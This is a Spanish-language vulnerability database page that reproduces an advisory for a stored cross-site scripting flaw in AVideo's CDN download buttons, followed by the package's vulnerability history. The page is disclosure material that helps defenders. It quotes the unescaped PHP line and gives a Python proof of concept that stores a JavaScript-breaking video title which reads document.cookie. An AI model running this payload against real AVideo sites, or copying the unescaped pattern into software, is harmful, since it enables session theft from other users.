Alta

AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php

  • Publicada: 19.03.2026
  • Actualizado: 11.10.2026 10:22

Summary

WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The clean_title field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.

Details

At line 59 of the affected file, the following PHP code constructs a JavaScript function call:

php
downloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);

The clean_title value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with json_encode or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The clean_title field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.

PoC

python
import requests

target = "https://example.com"
login_url = f"{target}/user"
upload_url = f"{target}/video/addNew"

session = requests.Session()

session.post(login_url, data={
    "user[user]": "attacker",
    "user[pass]": "attackerpassword"
})

malicious_title = "');alert(document.cookie);//"

session.post(upload_url, data={
    "title": malicious_title,
    "description": "poc"
})

After the video is created, navigate to:

https://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>

The rendered page will contain:

js
downloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);

Impact

Any user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer wwbn/avideo <= 25.0 sin corrección

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
wwbn/avideo
Publicada
19.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-gc3m-4mcr-h3pv - CC BY 4.0

Historial de vulnerabilidades: wwbn/avideo

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (160) en el archivo
Entradas en total
160
Primera → última
04.2022 06.2026
Sin corrección
143
Explotada en ataques
0

Distribución por gravedad

  • Crítica 14
  • Alta 61
  • Media 83
  • Baja 2

Divulgaciones por año

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Gravedad:
  1. Alta · 8.8 CVE-2026-45578 <= 29.0 sin corrección
  2. Alta · 9.8 CVE-2026-41304 <= 29.0 sin corrección
  3. Alta · 9.3 CVE-2026-41064 <= 29.0 sin corrección
  4. Crítica CVE-2026-33867 <= 26.0 sin corrección
  5. Alta · 8.8 CVE-2026-33717 <= 26.0 sin corrección
  6. Alta · 7.5 CVE-2026-33512 <= 26.0 sin corrección
  7. Crítica · 9.3 CVE-2026-33502 <= 26.0 sin corrección
  8. AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php esta entrada
    Alta CVE-2026-33295 <= 25.0 sin corrección
  9. Crítica CVE-2026-28502 todas las versiones sin corrección
  10. Crítica · 9.8 CVE-2024-31819 >= 12.4, < 14.3 14.3
  11. Crítica · 9.8 CVE-2023-49599 <= 12.4 sin corrección
  12. Alta · 8.8 CVE-2023-32073 <= 12.4 sin corrección
  13. Alta · 8.8 CVE-2023-30854 < 12.4 12.4
  14. Alta ghsa-2fch-hv74-fgw9 < 12.4 12.4
  15. Crítica · 9.6 CVE-2023-25313 < 12.4 12.4
  16. Alta · 8.8 CVE-2020-23489 < 8.9 8.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.